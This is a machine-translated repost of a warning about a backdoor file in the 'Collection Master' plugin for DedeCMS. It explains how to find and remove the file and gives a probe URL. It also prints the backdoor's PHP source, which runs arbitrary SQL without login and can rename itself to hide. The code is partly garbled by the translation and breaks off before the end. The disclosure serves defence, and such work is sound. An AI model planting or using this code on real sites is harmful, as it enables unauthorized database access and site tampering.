Dede Collection Master official left-door removal method
Source: Internet
Author: User
Remove the official Backdoor method: After installing the collection master, please delete the dedesql.query.php file in the Include directory immediately, if it has been installed, it is possible that the file has been renamed to Arc.sqlquery.class.php, found and deleted. This file can be used to query the Web site database without login verification, and to update, delete, and query data. You can also test yourself whether, as I said, the method:
http://your domain name. com/include/dedesql.query.php.php?dopost=viewinfo
Enter the URL above to open the backdoor interface.
To tell the truth, will deliberately leave the back door procedure, the best way is not to use. The back door was found, and God knows if the next so-called new version will come out with more back doors. After that the door file code is as follows:
Copy CodeThe code is as follows:
<?php
Require_once (DirName (__file__). " /.. /include/common.inc.php ");
if (Emptyempty ($dopost))
{
$dopost = "";
}
if ($dopost = = "Rename")
{
if (rename ("dedesql.query.php", "arc.sqlquery.class.php")) {
echo "Success!" ";
}else{
echo "Failed!" ";
}
Exit ();
}
if ($dopost = = "ViewInfo")
{
if (Emptyempty ($tablename))
{
Echo did not specify the table name! ";
}
Else
{
$dsql->setquery ("Show CREATE TABLE". $dsql->dbname. ".) $tablename);
$dsql->execute ("Me");
$row 2 = $dsql->getarray ("Me", Mysql_both);
$ctinfo = $row 2[1];
echo "<xmp>". Trim ($ctinfo). " </xmp> ";
}
Exit ();
}
if ($dopost = = "Index")
{
Require_once (dedeinc.) /arc.partview.class.php ");
$envs = $_sys_globals = Array ();
$envs ["aid"] = 0;
$PV = new Partview ();
$row = $PV->dsql->getone ("select * from ' #@__homepageset '");
$templet = Str_replace ("{style}", $cfg _df_style, $row ["Templet"]);
$homeFile = DirName (__file__). " /". $row [" position "];
$homeFile = Str_replace ("//", "/", Str_replace ("\", "/", $homeFile));
$fp = fopen ($homeFile, "w") or Die ("Cannot update the site home page to: $homeFile location");
Fclose ($FP);
$TPL = $cfg _basedir. $cfg _templets_dir. " /". $templet;
$PV->settemplet ($TPL);
$PV->savetohtml ($homeFile);
$PV->close ();
echo "Successfully updated home page!" ";
Exit ();
}
else if ($dopost = = "Query")
{
$sqlquery = Trim (stripslashes ($sqlquery));
if (Eregi ("drop (. *) Table", $sqlquery) eregi ("Drop (. *) database", $sqlquery))
{
echo "<span style=" font-size:10pt "> Delete" datasheet "or" database "statements are not allowed here. </span> ";
Exit ();
}
if (eregi ("^select", $sqlquery))
{
$dsql->setquery ($sqlquery);
$dsql->execute ();
if ($dsql->gettotalrow () <=0)
{
echo "Run sql:{$sqlquery}, no return record!" ";
}
Else
{
echo "Runs sql:{$sqlquery}, common". $dsql->gettotalrow (). Record, maximum return 100! ";
}
$j = 0;
while ($row = $dsql->getarray ())
{
$j + +;
if ($j >100)
{
Break
}
echo "echo "Record: $j";
echo "foreach ($row as $k => $v)
{
echo "<font color=" Red ">{$k}:</font>{$v}<br/>\r\n";
}
}
Exit ();
}
if ($querytype ==2)
{
$sqlquery = Str_replace ("\ R", "", $sqlquery);
$sqls = Split ("; [ \t]{0,}\n ", $sqlquery);
$nerrCode = ""; $i = 0;
foreach ($sqls as $q)
{
$q = Trim ($q);
if ($q = = "")
{
Continue
}
$dsql->executenonequery ($q);
$errCode = Trim ($dsql->geterror ());
if ($errCode = = "")
{
$i + +;
}
Else
{
$nerrCode. = "Execution: <font color=" Blue "> $q </font> Error, error hint: <font color=" Red ">". $errCode. " </font><br> ";
}
}
echo "successfully executed {$i} SQL statement!" <br><br> ";
Echo $nerrCode;
}
Else
{
$dsql->executenonequery ($sqlquery);
$nerrCode = Trim ($dsql->geterror ());
echo "Successfully executed 1 SQL statements!" <br><br> ";
Echo $nerrCode;
}
Exit ();
}
if ($dopost = = "View")
{
; echo "
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service